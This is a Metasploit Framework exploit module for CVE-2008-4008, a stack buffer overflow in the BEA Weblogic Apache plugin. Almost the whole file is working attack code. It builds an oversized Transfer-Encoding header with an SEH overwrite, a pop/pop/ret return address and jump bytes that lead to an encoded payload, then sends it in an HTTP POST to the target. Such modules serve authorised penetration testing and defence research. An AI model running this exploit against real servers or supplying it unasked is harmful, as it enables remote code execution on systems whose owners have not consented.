metasploit-framework/modules/exploits/windows/http/bea_weblogic_transfer_encod...

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the BEA
Weblogic Apache plugin. This vulnerability exists in the
error reporting for unknown Transfer-Encoding headers.
You may have to run this twice due to timing issues with handlers.
},
'Author' => 'pusscat',
'References' =>
[
[ 'CVE', '2008-4008' ],
[ 'OSVDB', '49283' ],
[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0d\x0a",
'StackAdjustment' => -1500,
},
'Targets' =>
[
[ 'Windows Apache 2.2 version Universal',
{
'Ret' => 0x1001f4d6, #pop/pop/ret
}
],
],
'DisclosureDate' => 'Sept 09 2008',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(80) ], self.class )
end
def exploit
sploit = Rex::Text.rand_text_alphanumeric(5800, payload_badchars)
sploit[5781, 8] = "\xeb\x06MC" + [target.ret].pack('V')
sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded
request =
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: " +
sploit +
"\r\n\r\n"
handler
connect
sock.put(request);
disconnect
end
end